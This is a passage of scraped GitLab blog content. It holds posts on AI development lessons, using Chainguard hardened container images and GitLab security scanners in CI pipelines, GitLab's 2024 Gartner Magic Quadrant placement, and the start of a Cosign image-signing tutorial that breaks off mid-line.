with the best available model.\n- Consider trade-offs between achievability and value when selecting use cases.\n\n2. Take an iterative approach\n\n- Identify your base model (choose the best available).\n- Start your prompt template (involve domain experts and product managers).\n- Identify your data selection strategy.\n- Iterate on components separately and evaluate each step.\n\n3. Develop prompt engineering best practices\n\n- Standardize around a single query language.\n- Ask the large language model (LLM) to write code to solve problems rather than solving them directly.\n- Automate what you can to reduce degrees of freedom.\n- Use code for deterministic tasks outside the AI chain.\n- Break problems into smaller, more manageable pieces.\n- Leverage technical writers and domain experts for prompt crafting.\n\n### Evaluations need more time\n\nThe \"Great Eval Problem\" has flipped the traditional development timeline, with evaluations now taking a majority of the time. With LLMs, we have replaced the need for sophisticated model development approaches with an API call to a third party. However, we still require a significant amount of time to evaluate the responses. To address this:\n\n- Incorporate evaluations at every level using multiple techniques.\n- Evaluate different aspects at different stages (local, pre-production, production).\n- Focus on end-to-end evaluations that measure end-user value.\n- Consider user-centric evaluations and let features \"die with UX\" if necessary.\n\n### The customer PoV must be top of mind\n\nCustomer-centric considerations should be your focus. Here's how:\n\n- Maintain developer \"flow\" and reduce context switching.\n- Provide transparency into AI inputs and outputs.\n- Ease users into natural language interactions.\n- Consider human-in-the-loop approaches for complex tasks.\n\n### AI engineer roles are changing, pay attention\n\nAs the industry matures, the role of AI engineers is becoming more defined:\n- Requires production experience and product development competency.\n- Requires engaging with various personas (ML engineers, software engineers, domain experts).\n- Demands strong data intuition and the ability to extract meaning from data.\n\n## Looking ahead\n\nThe AI landscape continues to evolve rapidly. Some trends to watch:\n\n- unification of prompts across models\n- advancements in evaluation and prompt generation tools\n- the rise of \"slop\" (unrequested and unreviewed AI-generated content)\n- movement towards inline code completion and autonomous agents\n- improvements in fine-tuning, RAG workflows, and managed agents\n\nAs we navigate this exciting and rapidly changing field, it's crucial to stay informed, adapt quickly, and always keep the end user in mind. At GitLab, we're committed to incorporating these insights into our development processes and sharing our learnings with the community.\n\nWe encourage our developers and the wider community to explore these concepts further and contribute to the ongoing dialogue around AI development best practices. Together, we can shape the future of AI-driven software development.\n\n> ## Learn more about AI and DevSecOps\n> - Visit our [GitLab Duo site](https://about.gitlab.com/gitlab-duo/)\n> - Read our [\"Developing GitLab Duo\"](https://about.gitlab.com/blog/developing-gitlab-duo-series/) behind-the-scenes series\n> - Bookmark our [AI/ML blog page](https://about.gitlab.com/blog/categories/ai-ml/)\n",[790],{"slug":4638,"featured":6,"template":678},"navigating-the-ai-frontier-lessons-from-the-cutting-edge","content:en-us:blog:navigating-the-ai-frontier-lessons-from-the-cutting-edge.yml","Navigating The Ai Frontier Lessons From The Cutting Edge","en-us/blog/navigating-the-ai-frontier-lessons-from-the-cutting-edge.yml","en-us/blog/navigating-the-ai-frontier-lessons-from-the-cutting-edge",{"_path":4644,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4645,"content":4651,"config":4655,"_id":4657,"_type":16,"title":4658,"_source":17,"_file":4659,"_stem":4660,"_extension":20},"/en-us/blog/secure-open-source-container-infrastructure-with-gitlab-and-chainguard",{"title":4646,"description":4647,"ogTitle":4646,"ogDescription":4647,"noIndex":6,"ogImage":4648,"ogUrl":4649,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4649,"schema":4650},"Secure open source container infrastructure with GitLab and Chainguard","Learn how GitLab + Chainguard can help deliver secure containerized applications faster. This tutorial includes easy-to-follow code examples.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098693/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2823%29_2w6waL76KROjhJHM2vXet6_1750098693265.png","https://about.gitlab.com/blog/secure-open-source-container-infrastructure-with-gitlab-and-chainguard","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure open source container infrastructure with GitLab and Chainguard\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-09-09\",\n      }",{"title":4646,"description":4647,"authors":4652,"heroImage":4648,"date":4653,"body":4654,"category":674},[1622],"2024-09-09","Container technology, which creates consistent environments and streamlines deployment processes, is incredibly beneficial for software development. Containers contribute to faster development cycles, more efficient resource utilization, and greater flexibility in application management.\n\nSome of that efficiency can be lost, though, if organizations reinvent the wheel with each software development project. Instead, a base image should serve as the starting point for building other container images. These base images contain a bare minimum OS, essential tools, ensured compatibility, reduced image size, and other advantages.\n\nWhile base images provide a lot of value, they do have risks. It’s easy for your application to be compromised due to:\n\n- __Large attack surface:__ Base images may include extraneous packages, which could increase the attack surface.\n- __Unmanaged dependencies:__ Many dependencies in container images are not frequently updated and can be filled with vulnerabilities.\n- __Severe and unknown vulnerabilities:__ There's a high risk of severe and unknown vulnerabilities present in a base image, even in known public registries.\n- __Misconfiguration:__ Base images may be misconfigured or contain a standard configuration that contains hard-coded secrets and can lead to unauthorized access.\n\nGitLab and Chainguard provide several solutions to address these risks, including Hardened Base Images, Container Signing, and Vulnerability Scanning and Management. In this article, you'll learn how these features can be implemented to prevent breaches via containerized applications.\n\n## Chainguard’s minimal, hardened container images with low-to-no CVEs\n\nChainguard Images offer several key benefits that make them essential for organizations prioritizing security:\n\n- __Low-to-no vulnerabilities (out of the box and Day Two):__ Chainguard images are the product of a Linux distro and toolchain purposely built from the ground up to distribute patched open source software fast. \n- **Reduced attack surface:** Hardened images remove unnecessary components, libraries, and tools, significantly reducing potential entry points for attackers. This minimization of the attack surface makes it more difficult for malicious actors to exploit vulnerabilities.\n- __Improved compliance:__ Many industries have strict security regulations. Hardened images, especially those designed to meet [FIPS hardening standards](https://www.nist.gov/standardsgov/compliance-faqs-federal-information-processing-standards-fips) and to include a security technical implementation guide, or STIG, help organizations meet compliance requirements like [FedRAMP](https://about.gitlab.com/solutions/public-sector/fedramp/), PCI-DSS, etc., by adhering to security best practices and standards.\n- __Enhanced runtime security:__ Properly hardened images are less likely to be compromised during runtime, providing better protection for the applications and data they contain.\n- __Increased operational efficiency:__ Minimal images are typically smaller in size, leading to faster deployment times and reduced resource consumption.\n\nChainguard provides more than 833 minimal, hardened images that can be easily built, shipped, and run. Container images can all be stored and managed directly in GitLab Container Registry. These solutions greatly minimize container security complexity.\n\n## Chainguard image library\n\nThe [Chainguard](https://images.chainguard.dev/) directory provides hardened, minimal container images to help developers build software from the onset. With 97.6% fewer vulnerabilities than the average image, Chainguard Images help organizations swiftly reach container security compliance goals like [NIST 800-53](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final), FedRAMP, or PCI-DSS.\n\n![Chainguard minimal, hardened container images featured section](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/1__1__aHR0cHM6_1750098702263.png)\n\n\u003Ccenter>\u003Ci>Chainguard minimal, hardened container images featured section\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nThese images can be accessed directly from the Chainguard Directory. All images have the following features:\n- Build time-generated [software bill of materials](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)\n- [Sigstore-powered attestation and provenance](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html)\n- No vulnerabilities\n- Security advisory feed in [SecDB](https://www.goldmansachs.com/our-firm/history/moments/1993-secdb) and OSV formats\n\n## Using Chainguard container images in GitLab\n\nChainguard container images can be used in the following ways:\n- directly within GitLab to run jobs within a pipeline\n- stored in a Dockerfile in GitLab, which can be created, scanned for vulnerabilities, and pushed directly to the built-in container registry\n\n### Using Chainguard images in a GitLab job\n\nTo use a Chainguard image in a specific GitLab job, within your [`gitlab-ci.yml`](https://docs.gitlab.com/ee/ci/yaml/), simply set the `image` directive under the job definition to the image you wish to use. For example, the following job named `unit-tests` uses `cgr.dev/chainguard/go:latest` as the container image to run the job.\n\n```yaml\nstages:\n  - test\n\nunit-tests:\n  image: cgr.dev/chainguard/go:latest\n  stage: test\n  before_script:\n    - go mod download\n  script:\n    - go test -coverprofile=coverage.out\n  artifacts:\n    paths:\n      - coverage.out\n```\n\n### Using Chainguard images in a Dockerfile\n\nTo use a Chainguard image within a Dockerfile, simply create a Dockerfile in the root directory of your GitLab project. Then set the base image of the Dockerfile to the Chainguard image you wish to use, and add any other required commands:\n\n```dockerfile\nFROM cgr.dev/chainguard/go:latest\n\nWORKDIR /app\nCOPY . .\n\nRUN go mod download\nRUN go build -o /main .\n\nCMD [“/main”]\n```\n\nThen, you can create a job in the [`.gitlab-ci.yml`](https://docs.gitlab.com/ee/ci/yaml/) to log in to the [built-in GitLab Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/) and push the image:\n\n```yaml\nbuild-app-image:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind\n  variables:\n    IMAGE: $CI_REGISTRY_IMAGE/$CI_DEFAULT_BRANCH:latest\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker build -t $IMAGE .\n    - docker push $IMAGE\n```\n\nOnce the job completes, you can see the pushed images in GitLab Container Registry by selecting **Deploy > Container Registry** from your project’s side tab.\n\n![GitLab Container Registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/2__1__aHR0cHM6_1750098702268.png)\n\n\u003Ccenter>\u003Ci>GitLab Container Registry\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n**Note:** GitLab makes it easy to authenticate with the built-in container registry via [reserved CI/CD variables](https://docs.gitlab.com/ee/user/packages/container_registry/authenticate_with_container_registry.html#use-gitlab-cicd-to-authenticate) as seen above.\n\n## Container image signing\n\nSigning container images is a critical security measure to prevent tampering by verifying their authenticity, trust, and integrity:\n\n- **Authenticity:** Ensures the source of the image is trusted by verifying the signature attached to an image with the public key from a trusted certificate authority.\n- **Trust:** Image publishers and users can trust each other, allowing frequent image sharing. \n- **Integrity:** The signature includes a hash that can be checked to ensure the image has not been altered since the signing.\n\nThe Sigstore project provides a CLI called Cosign, which can be used for keyless signing of container images. This eliminates the need to manage safeguards and rotate the private key that will be signing the image. GitLab provides [container-signing](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html) by allowing you to generate a private key via a token obtained from the GitLab server using the [OIDC identity](https://docs.gitlab.com/ee/administration/auth/oidc.html) of the user who ran the job. The token includes unique claims that certify that a CI/CD pipeline generated the token.\n\n![GitLab container image signature details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/3__1__aHR0cHM6_1750098702270.png)\n\n\u003Ccenter>\u003Ci> GitLab container image signature details\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nGitLab stores the container signature details in the container registry. A job can then be created to validate the signature against the certificate issuer using Cosign.\n\n# Vulnerability scanning and management\n\nAs you add more application dependencies to a hardened base image to achieve your goals, over time you may introduce vulnerabilities. By enabling security scanning provided by GitLab, you can address these risks as they come and reduce them. Additionally, when these vulnerabilities arise, vulnerability management tools are crucial for managing your security posture.\n\n## Vulnerability scanning and security guardrails\n\nIt's necessary to regularly run security scans to avoid data breaches, reduce service downtime, and prevent loss of brand reputation. Some benefits of running security scans before code is deployed to production include:\n\n- early detection and resolution\n- adherence to regulatory compliance\n- maintaining system uptime\n- building trust with customers\n- assessing and managing risk\n\nGitLab provides several analyzers to scan various parts of your application for security vulnerabilities:\n\n| Scanner Type    | Description     |\n| ---------- | ---------- |\n| [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) | Scans static source code for known vulnerabilities (C/C++, Java, Python, Go, JavaScript, and many more languages) |\n| [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)       | Runs automated penetration tests to find vulnerabilities in your web applications and APIs as they are running       |\n| [Infrastructure as Code Scanning (IaC)](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) | Scans infrastructure definition files for known vulnerabilities (Terraform, Ansible, AWS Cloudformation, Kubernetes, and many more) |\n| [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) (including image dependencies and licenses)   | Scans container images for known vulnerabilities, including GitLab Container Registry, external container registries, Kubernetes cluster. Container image dependencies and licenses are also scanned and compared to policy |\n| [Dependency Scanning and License Compliance](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Scans your application’s dependencies for known vulnerabilities, including NuGet, Gradle, Maven, pip, npm, yarn, and more. Dependency licenses are also scanned and compared to policy. |\n| [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/)  | Scans your repository for secrets, such as keys and passwords. Scans all text files regardless of language or framework. Can be set to reject pushes if a secret is detected and can run in browser to warn if you are about to post a potential secret. |\n| [Web API Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)  | Sets operation parameters to unexpected values to cause unexpected behavior and errors in the API backend  |\n| [Coverage-guided Fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/)  | Sends random inputs to an instrumented version of your application to cause unexpected behavior  |\n\nThese scanners can be easily added to your pipeline by simply importing the appropriate scanner template in your `.gitlab-ci.yml`. For example, to [enable SAST](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml), simply add the following to your `.gitlab-ci.yml`:\n\n```yaml\nstages:\n  - test\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nOnce you've enabled the scanners, whenever you create a merge request to commit code from a feature branch into another branch, [scanner results will display directly within the MR](https://docs.gitlab.com/ee/user/application_security/index.html#view-security-scan-information):\n\n![GitLab security scanner findings displayed in MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/4_aHR0cHM6_1750098702271.png)\n\n\u003Ccenter>\u003Ci>GitLab security scanner findings displayed in MR\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nThese results allow developers to quickly assess, prioritize, and mitigate or remediate vulnerabilities by providing the following information:\n- description\n- severity\n- location\n- links and identifiers\n- training\n- solutions\n\n![GitLab security scanner vulnerability details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/5_aHR0cHM6_1750098702272.png)\n\n\u003Ccenter>\u003Ci>GitLab security scanner vulnerability details\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nAdditional actions can be taken on a vulnerability, such as:\n- dismissing the vulnerability and providing a reason to allow quicker review from the security team\n- creating an issue to collaborate later on a resolution\n\n**Note:** Scanners can also be configured and/or extended using variables and pipeline directives, just like any other GitLab job.\n\n### Security guardrails\n\nThe scanners mentioned above can be used along with [security policies](https://docs.gitlab.com/ee/user/application_security/policies/) to prevent insecure code from being merged into production and to ensure that the scanners are run on every pipeline. GitLab provides the following security policy types:\n\n- __Merge request approval policy:__  Create rules that check for security vulnerabilities and license compliance before merging a merge request.\n- __Scan execution policy:__ Create rules that enforce security scans for particular branches at a certain time.\n- __Pipeline execution policy:__ Enforce a custom CI/CD configuration to run in project pipelines.\n\nImplementing these policies ensures that when creating an MR, security scans and custom compliance jobs will be run, and that approval will be required if vulnerabilities or incompatible licenses are detected:\n\n![Merge request approval required due to vulnerabilities and incompatible licenses](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/6_aHR0cHM6_1750098702273.png)\n\n\u003Ccenter>\u003Ci>Merge request approval required due to vulnerabilities and incompatible licenses\u003C/i>\u003C/center>\n\n## Vulnerability reports\n\nDetecting vulnerabilities before they make it to production is important, but it is equally important to determine and manage vulnerabilities that make their way into production, so that they can be mitigated accordingly.\n\n[GitLab Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) provides information on all the detected vulnerabilities from scans of the default branch (which may be your staging or production branch):\n\n![Vulnerability report with filters applied](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/7_aHR0cHM6_1750098702274.png)\n\n\u003Ccenter>\u003Ci>Vulnerability report with filters applied\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nIf you select a vulnerability, you’ll be taken to its vulnerability page, which displays the same vulnerability details as you would see in the MR view. You can use this view to quickly assess, prioritize, and mitigate or remediate vulnerabilities:\n\n![Vulnerability page for improper authorization vulnerability](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/8_aHR0cHM6_1750098702275.png)\n\n\u003Ccenter>\u003Ci>Vulnerability page for improper authorization vulnerability\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nThe security team can manage vulnerabilities by setting their status to one of the following:\n\n- Detected: The default state for a newly discovered vulnerability.\n- Confirmed: A user has seen this vulnerability and confirmed it is accurate.\n- Dismissed: A user has seen this vulnerability and dismissed it because it is inaccurate or otherwise not to be resolved. Dismissed vulnerabilities are ignored if detected in subsequent scans.\n- Resolved: The vulnerability has been fixed or is no longer present. If a resolved vulnerability is reintroduced and detected again, its record is reinstated and its status set to detected.\n\n## Software bill of materials\n\nA software bill of materials (SBOM) is a comprehensive inventory that lists all the components, dependencies, and associated metadata of a software application. SBOMs are vital for organizations to effectively manage software security, compliance, and supply chain risks.\n\nChainguard provides high-quality, [out-of-the-box SBOMs](https://images.chainguard.dev/directory/image/go/sbom) for their container images in SPDX format. The SBOM can be converted into CycloneDX format and loaded into or compared with the results of GitLab’s dependency list. The [dependency list](https://docs.gitlab.com/ee/user/application_security/dependency_list/) is an SBOM generated from an artifact or the results of the dependency, container, and license scanners:\n\n![Dependency List with some components expanded](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098702/Blog/Content%20Images/Blog/Content%20Images/9_aHR0cHM6_1750098702276.png)\n\n\u003Ccenter>\u003Ci>Dependency List with some components expanded\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nChainguard images meet [SLSA Level 2 requirements](https://slsa.dev/spec/v0.1/levels?ref=fossa.com) and are verified, signed, and attested with signatures. Furthermore, GitLab CI can [generate and produce attestation/provenance metadata](https://docs.gitlab.com/ee/ci/runners/configure_runners.html#artifact-provenance-metadata) for all build artifacts. By using Chainguard with GitLab, you can prevent tampering and provide additional build integrity guarantees.\n\n## Learn more\n\nTo learn more about GitLab and Chainguard, and how we can help enhance your security posture, check out the following resources:\n\n- [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)\n- [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/get-started-security.html)\n- [GitLab pricing](https://about.gitlab.com/pricing/)\n- [Chainguard Images](https://www.chainguard.dev/chainguard-images)\n- [Chainguard Compliance and Risk Mitigation](https://www.chainguard.dev/solutions/compliance-and-risk-mitigation)\n- [Chainguard Sales](https://www.chainguard.dev/contact?utm_source=blog&utm_medium=partner&utm_campaign=GitLab_announcement_blog&utm_content=article)\n",{"slug":4656,"featured":6,"template":678},"secure-open-source-container-infrastructure-with-gitlab-and-chainguard","content:en-us:blog:secure-open-source-container-infrastructure-with-gitlab-and-chainguard.yml","Secure Open Source Container Infrastructure With Gitlab And Chainguard","en-us/blog/secure-open-source-container-infrastructure-with-gitlab-and-chainguard.yml","en-us/blog/secure-open-source-container-infrastructure-with-gitlab-and-chainguard",{"_path":4662,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4663,"content":4668,"config":4675,"_id":4677,"_type":16,"title":4678,"_source":17,"_file":4679,"_stem":4680,"_extension":20},"/en-us/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops",{"title":4664,"description":4665,"ogTitle":4664,"ogDescription":4665,"noIndex":6,"ogImage":849,"ogUrl":4666,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4666,"schema":4667},"GitLab named 2024 Gartner DevOps Platforms Quadrant leader","GitLab is positioned highest in Ability to Execute and Completeness of Vision, which we believe is recognition of our customers’ success and our continued innovation in the DevOps category.","https://about.gitlab.com/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab named a Leader in the 2024 Gartner Magic Quadrant for DevOps Platforms\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ashley Kramer\"}],\n        \"datePublished\": \"2024-09-05\",\n      }",{"title":4669,"description":4665,"authors":4670,"heroImage":849,"date":4672,"body":4673,"category":736,"tags":4674},"GitLab named a Leader in the 2024 Gartner Magic Quadrant for DevOps Platforms",[4671],"Ashley Kramer","2024-09-05","DevOps was originally just a concept, a methodology for delivering software faster by bringing traditionally disparate teams together. It was a response to all the issues caused by the separation of those who built software and those who deployed it.\n\nAt GitLab, we iterated on that concept: Instead of stitching together tools to create a complex DevOps toolchain, a [single DevOps platform](https://about.gitlab.com/platform/) would result in tighter collaboration, greater automation, and more scalable and standardized processes.\n\nWe believe that strategy, which focuses on our customers' success, was correct. In the second iteration of the [Gartner Magic Quadrant for DevOps Platforms](https://about.gitlab.com/gartner-magic-quadrant/), we are once again named a Leader by Gartner and this time, positioned highest on both axes: Ability to Execute and Completeness of Vision.\n\n![Gartner MQ for DevOps Platforms 2024 image](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674334/Blog/Content%20Images/figure1.png)\n\n> Download the [2024 Gartner® Magic Quadrant™ for DevOps Platforms report](https://about.gitlab.com/de-de/gartner-magic-quadrant/).\n\nToday’s software organizations must contend with increasing security threats, complex compliance requirements, and carefully adopting new technologies such as generative AI. This is in addition to simply delivering on their promises of scalable services and continued innovation to their own customers.\n\nGitLab helps our customers face these challenges and become leaders in their own industries. With our AI-powered DevSecOps platform, they are shifting security left, enabling visibility throughout the development lifecycle, and bringing together all the roles and responsibilities needed to deliver the software that powers our world.\n\n## Furthering the DevOps vision\n\nOur work here isn’t done. We will continue to innovate on the DevOps vision and advance our DevSecOps platform in two ways.\n\nFirst, we want to invite even more teams to collaborate on the same platform, with specific features for those involved in [Agile planning](https://about.gitlab.com/blog/categories/agile-planning/), [data science](https://about.gitlab.com/topics/devops/the-role-of-ai-in-devops/), and [observability and application monitoring](https://docs.gitlab.com/operations/observability/).\n\nSecond, we strive to make our platform adoption and deployment options even more flexible to meet our customers’ diverse needs. This includes investing in [GitLab Dedicated](https://about.gitlab.com/dedicated/), our single-tenant, hosted option, so companies in highly regulated industries can have the simplicity of SaaS and the power of all the latest features and capabilities, while adhering to the compliance needs of isolated infrastructure.\n\n## Helping organizations build secure software\n\nBeyond building a better collaboration platform for delivering software, one of the most important things we do at GitLab is help organizations build more secure and compliant software. Our vision here sets us apart, as GitLab integrates [security scanning](https://about.gitlab.com/solutions/security-compliance/) at the point of code commit, not when applications are ready for release. This helps teams catch vulnerabilities sooner, leading to faster release cycles. GitLab also makes compliance easy with policy guardrails and automatically generating [a software bill of materials](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/).\n\nWe know our customers face more security threats as their own software surface attack area increases. This is why, in the next 12 months, we plan to continue improving our SAST scanners, add additional policy controls, and build [an upcoming native secrets manager](https://about.gitlab.com/blog/gitlab-native-secrets-manager-to-give-software-supply-chain-security-a-boost/).\n\n## Leading with AI throughout the SDLC\n\nOur vision is to also be a leader in AI – both in enabling our customers to build innovative software with AI, and also to do it with privacy-first AI technology. AI represents a generational leap forward with an incredible amount of opportunity when integrated throughout the software development lifecycle. As we innovate, we are doing so responsibly. We’ve heard our customers’ concerns loud and clear: They want [AI with guardrails](https://about.gitlab.com/the-source/ai/velocity-with-guardrails-ai-automation/), [AI that’s transparent](https://about.gitlab.com/ai-transparency-center/), and AI that respects their code and intellectual property.\n\nWe are committed to building [GitLab Duo](https://about.gitlab.com/gitlab-duo/), a suite of AI-powered features for our DevSecOps platform that are all of these: comprehensive, privacy-first, and built to support the entire software development lifecycle.\n\nWe believe this commitment and our GitLab Duo features are why, recently, [Gartner® also named us a Leader in its first Magic Quadrant™ for AI Code Assistants](https://about.gitlab.com/blog/gitlab-named-a-leader-in-2024-gartner-magic-quadrant-for-ai-code-assistants/).\n\nWe are honored by this recognition and see it as a sign to continue listening to you  –  our customers – because that is what drives our vision, product roadmap, and commitment in delivering the best DevSecOps platform.\n\n> Download the [2024 Gartner® Magic Quadrant™ for DevOps Platforms report](https://about.gitlab.com/gartner-magic-quadrant/).\n\n***Source: Gartner, Magic Quadrant for DevOps Platforms, Keith Mann, Thomas Murphy, Bill Holz, George Spafford, August 2024***\n\n***GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and MAGIC QUADRANT is a\nregistered trademark of Gartner, Inc. and/or its affiliates and are used herein with permission. All rights reserved.***\n\n***Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.***\n\n***This graphic was published by Gartner Inc. as part of a larger report and should be evaluated in the context of the entire document. The Gartner document is available upon request from Gartner.***",[736,1307,479,4103,943],{"slug":4676,"featured":92,"template":678},"gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops","content:en-us:blog:gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops.yml","Gitlab Named A Leader In The 2024 Gartner Magic Quadrant For Devops","en-us/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops.yml","en-us/blog/gitlab-named-a-leader-in-the-2024-gartner-magic-quadrant-for-devops",{"_path":4682,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4683,"content":4689,"config":4696,"_id":4698,"_type":16,"title":4699,"_source":17,"_file":4700,"_stem":4701,"_extension":20},"/en-us/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd",{"title":4684,"description":4685,"ogTitle":4684,"ogDescription":4685,"noIndex":6,"ogImage":4686,"ogUrl":4687,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4687,"schema":4688},"Container image provenance with Cosign in GitLab CI/CD","Use GitLab pipelines to automate building, signing, and annotating Docker images. This tutorial shares code to show you how. Try it out in your own organization.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098395/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2823%29_2w6waL76KROjhJHM2vXet6_1750098395162.png","https://about.gitlab.com/blog/annotate-container-images-with-build-provenance-using-cosign-in-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Annotate container images with build provenance using Cosign in GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"João Pereira\"},{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2024-09-04\",\n      }",{"title":4690,"description":4685,"authors":4691,"heroImage":4686,"date":4693,"body":4694,"category":674,"tags":4695},"Annotate container images with build provenance using Cosign in GitLab CI/CD",[4692,1125],"João Pereira","2024-09-04","Container security has become a critical concern in software development. As organizations increasingly rely on containerized applications, ensuring the integrity and traceability of container images is paramount. Enhancing the security and traceability of your container images directly in your GitLab CI/CD pipeline can streamline your development process while significantly boosting your security posture.\n\nThis tutorial demonstrates setting up a GitLab pipeline to automate the process of building, signing, and annotating Docker images using Cosign and the GitLab container registry. By integrating these practices, you'll secure your images and ensure that each one is easily traceable, aligning with best practices in DevSecOps.\n\n## Background on container image security\n\nBefore we dive into the technical details, it's crucial to understand why container image security is so important. In [microservices](https://about.gitlab.com/topics/microservices/) and cloud-native applications, containers have become the standard for packaging and deploying software. However, this widespread adoption has also made containers an attractive target for cyber attacks.\n\nContainer image security is a vital component of the broader [software supply chain security](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/) concept. This encompasses all the tools, processes, and practices that ensure your software's integrity, authenticity, and security from development to deployment. By securing your container images, you're protecting your application and your entire software supply chain.\n\n## Introduction to Cosign\n\nEnter [Cosign](https://about.gitlab.com/blog/keyless-signing-with-cosign/), a tool designed to address these security concerns. Cosign is part of the Sigstore project, an open-source initiative aimed at improving the security of the software supply chain. Cosign allows developers to sign and verify container images, ensuring their integrity and authenticity.\n\nKey benefits of Cosign include:\n\n- easy integration with existing CI/CD pipelines\n- support for various signing methods, including keyless signing\n- ability to attach and verify arbitrary metadata to container images\n\nBy incorporating Cosign into your GitLab CI/CD pipeline, you're taking a significant step towards robust [DevSecOps](https://about.gitlab.com/topics/devsecops/) practices.\n\n## Benefits of image signing and annotation\n\nImage signing serves as a seal of authenticity for your container images. It helps prevent tampering and ensures that the image deployed in your production environment is precisely the one that passed through your secure build process.\n\nAnnotations, on the other hand, provide valuable metadata about the build process. This information is used for auditing and traceability. In a security incident, having detailed provenance data can significantly speed up the investigation and remediation process.\n\n## GitLab CI/CD pipeline configuration\n\nLet's look at an example `.gitlab-ci.yml` file that outlines the process of building, signing, and annotating a Docker image using Cosign:\n\n```yaml\nstages:\n  - build\n\nbuild_and_sign:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind  # Enable Docker-in-Docker service to allow Docker commands inside the container\n  variables:\n    IMAGE_TAG: $CI_COMMIT_SHORT_SHA  # Use the commit short SHA as the image tag\n    IMAGE_URI: $CI_REGISTRY_IMAGE:$IMAGE_TAG  # Construct the full image URI with the registry, project path, and tag\n    COSIGN_YES: \"true\"  # Automatically confirm actions in Cosign without user interaction\n    FF_SCRIPT_SECTIONS: \"true\"  # Enables GitLab's CI script sections for better multi-line script output\n  id_tokens:\n    SIGSTORE_ID_TOKEN:\n      aud: sigstore  # Provide an OIDC token for keyless signing with Cosign\n  before_script:\n    - apk add --no-cache cosign jq  # Install Cosign (mandatory) and jq (optional)\n    - docker login -u \"gitlab-ci-token\" -p \"$CI_JOB_TOKEN\" \"$CI_REGISTRY\"  # 